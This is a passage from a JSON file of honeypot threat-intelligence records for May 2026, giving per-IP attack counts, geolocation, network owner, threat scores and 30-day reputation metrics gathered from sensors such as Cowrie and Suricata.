        "first_seen_30d": "2026-05-03T22:49:37.744000+00:00",
        "last_seen_30d": "2026-05-03T22:50:53.069000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.34.17.55": {
      "attack_count": 2,
      "first_seen": "2026-05-14T03:16:20.959Z",
      "last_seen": "2026-05-14T03:16:33.082Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:16:20.959000+00:00",
        "last_seen_30d": "2026-05-14T03:17:35.179000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.244.103.117": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:04:40.378Z",
      "last_seen": "2026-05-08T02:04:53.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Zamora",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:04:40.378000+00:00",
        "last_seen_30d": "2026-05-08T02:06:35.737000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.206.255.115": {
      "attack_count": 2,
      "first_seen": "2026-05-10T23:36:39.582Z",
      "last_seen": "2026-05-10T23:36:53.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:36:39.582000+00:00",
        "last_seen_30d": "2026-05-10T23:38:02.319000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.176.112.172": {
      "attack_count": 2,
      "first_seen": "2026-05-04T17:20:57.991Z",
      "last_seen": "2026-05-04T17:21:10.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:20:57.991000+00:00",
        "last_seen_30d": "2026-05-04T17:22:18.279000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.74.129.165": {
      "attack_count": 2,
      "first_seen": "2026-05-09T18:39:11.925Z",
      "last_seen": "2026-05-09T18:39:24.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Marrakesh",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:39:11.925000+00:00",
        "last_seen_30d": "2026-05-09T18:40:31.934000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.211": {
      "attack_count": 2,
      "first_seen": "2026-05-28T21:49:40.118Z",
      "last_seen": "2026-05-28T21:49:40.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:11:39.576000+00:00",
        "last_seen_30d": "2026-05-30T19:41:30.909000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 15,
        "Cowrie": 2,
        "Sentrypeer": 1,
        "Wordpot": 1
      }
    },
    "212.32.208.176": {
      "attack_count": 2,
      "first_seen": "2026-05-10T14:12:24.307Z",
      "last_seen": "2026-05-10T14:12:36.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Samara",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:12:24.307000+00:00",
        "last_seen_30d": "2026-05-10T14:13:39.300000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.8.39.113": {
      "attack_count": 2,
      "first_seen": "2026-05-28T04:36:14.832Z",
      "last_seen": "2026-05-28T04:36:27.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Odesa",
      "asn": 50115,
      "as_org": "Lekol LLC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T04:36:14.832000+00:00",
        "last_seen_30d": "2026-05-28T04:37:30.738000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.186.20.76": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:59:50.229Z",
      "last_seen": "2026-05-06T09:00:03.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brooklyn",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:59:50.229000+00:00",
        "last_seen_30d": "2026-05-06T09:01:13.521000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.190.53.8": {
      "attack_count": 2,
      "first_seen": "2026-05-05T02:26:31.660Z",
      "last_seen": "2026-05-05T02:26:43.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fair Lawn",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:26:31.660000+00:00",
        "last_seen_30d": "2026-05-05T02:27:47.386000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.217.210.78": {
      "attack_count": 2,
      "first_seen": "2026-05-08T04:21:38.538Z",
      "last_seen": "2026-05-08T04:21:50.752Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:21:38.538000+00:00",
        "last_seen_30d": "2026-05-08T04:22:51.433000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.25.16.232": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:11:24.754Z",
      "last_seen": "2026-05-22T17:11:37.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:11:24.754000+00:00",
        "last_seen_30d": "2026-05-22T17:12:41.177000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.135.157.217": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:39:18.319Z",
      "last_seen": "2026-05-08T11:39:31.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Sumy",
      "asn": 20539,
      "as_org": "Technical Centre Radio Systems Ltd.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:39:18.319000+00:00",
        "last_seen_30d": "2026-05-08T11:40:34.559000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.40.58": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:51:38.911Z",
      "last_seen": "2026-05-22T17:51:51.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 48728,
      "as_org": "Vodafone Qatar P.Q.S.C",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:51:38.911000+00:00",
        "last_seen_30d": "2026-05-22T17:52:55.817000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.158.239.62": {
      "attack_count": 2,
      "first_seen": "2026-05-06T14:05:26.638Z",
      "last_seen": "2026-05-06T14:05:39.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Gabon",
      "country_code": "GA",
      "city": "Libreville",
      "asn": 16058,
      "as_org": "Gabon-Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:05:26.638000+00:00",
        "last_seen_30d": "2026-05-06T14:06:42.114000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.56.165.79": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:46:33.475Z",
      "last_seen": "2026-05-11T01:46:47.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37105,
      "as_org": "RAIN-GROUP-HOLDINGS",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:46:33.475000+00:00",
        "last_seen_30d": "2026-05-11T01:47:51.428000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.14.50.135": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:37:23.927Z",
      "last_seen": "2026-05-05T17:37:26.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 208951,
      "as_org": "Itglobal.com Nl B.v.",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:37:23.927000+00:00",
        "last_seen_30d": "2026-05-05T17:38:28.009000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "45.169.152.243": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:05:21.226Z",
      "last_seen": "2026-05-13T21:05:34.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serra",
      "asn": 268111,
      "as_org": "S-NET TELECOM ME",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:05:21.226000+00:00",
        "last_seen_30d": "2026-05-13T21:06:37.684000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.11.111.185": {
      "attack_count": 2,
      "first_seen": "2026-05-03T18:25:43.099Z",
      "last_seen": "2026-05-03T18:25:56.770Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rajkot",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:25:43.099000+00:00",
        "last_seen_30d": "2026-05-03T18:27:05.644000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.176.227": {
      "attack_count": 2,
      "first_seen": "2026-05-05T04:45:49.276Z",
      "last_seen": "2026-05-05T04:46:02.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jodhpur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:45:49.276000+00:00",
        "last_seen_30d": "2026-05-05T04:47:03.902000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.58.98.59": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:29:19.754Z",
      "last_seen": "2026-05-14T14:29:33.326Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ternopil",
      "asn": 16223,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:29:19.754000+00:00",
        "last_seen_30d": "2026-05-14T14:30:41.634000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.36.51.190": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:56:33.657Z",
      "last_seen": "2026-05-02T08:56:48.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:56:33.657000+00:00",
        "last_seen_30d": "2026-05-02T08:57:54.793000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.65.120.60": {
      "attack_count": 2,
      "first_seen": "2026-05-16T01:47:38.079Z",
      "last_seen": "2026-05-16T01:48:09.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 9694,
      "as_org": "Seokyung Cable Television Co.. Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T01:47:38.079000+00:00",
        "last_seen_30d": "2026-05-16T01:49:17.226000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.50.47.242": {
      "attack_count": 2,
      "first_seen": "2026-05-13T13:29:11.429Z",
      "last_seen": "2026-05-13T13:29:23.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Klang",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:29:11.429000+00:00",
        "last_seen_30d": "2026-05-13T13:30:29.612000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.208.25.163": {
      "attack_count": 2,
      "first_seen": "2026-05-02T16:35:06.816Z",
      "last_seen": "2026-05-02T16:35:06.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:35:06.816000+00:00",
        "last_seen_30d": "2026-05-02T16:36:08.067000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.217.149.55": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:17:38.320Z",
      "last_seen": "2026-05-16T22:18:08.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3167,
        "days_active_30d": 29,
        "ports_targeted_30d": 1390,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:07:36.856000+00:00",
        "last_seen_30d": "2026-05-30T18:33:40.160000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1893,
        "Honeytrap": 1271,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.230.168.185": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:04:25.737Z",
      "last_seen": "2026-05-05T20:04:35.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 26,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T09:25:30+00:00",
        "last_seen_30d": "2026-05-29T13:06:43.413000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 42,
        "Miniprint": 8,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "95.20.214.14": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:50:07.687Z",
      "last_seen": "2026-05-10T13:50:38.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Guadarrama",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:50:07.687000+00:00",
        "last_seen_30d": "2026-05-10T13:51:42.475000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.65.139.217": {
      "attack_count": 4483,
      "first_seen": "2026-05-26T16:57:56.194Z",
      "last_seen": "2026-05-26T18:23:20.568Z",
      "sessions": 896,
      "ports": [],
      "usernames_attempted": [
        "root",
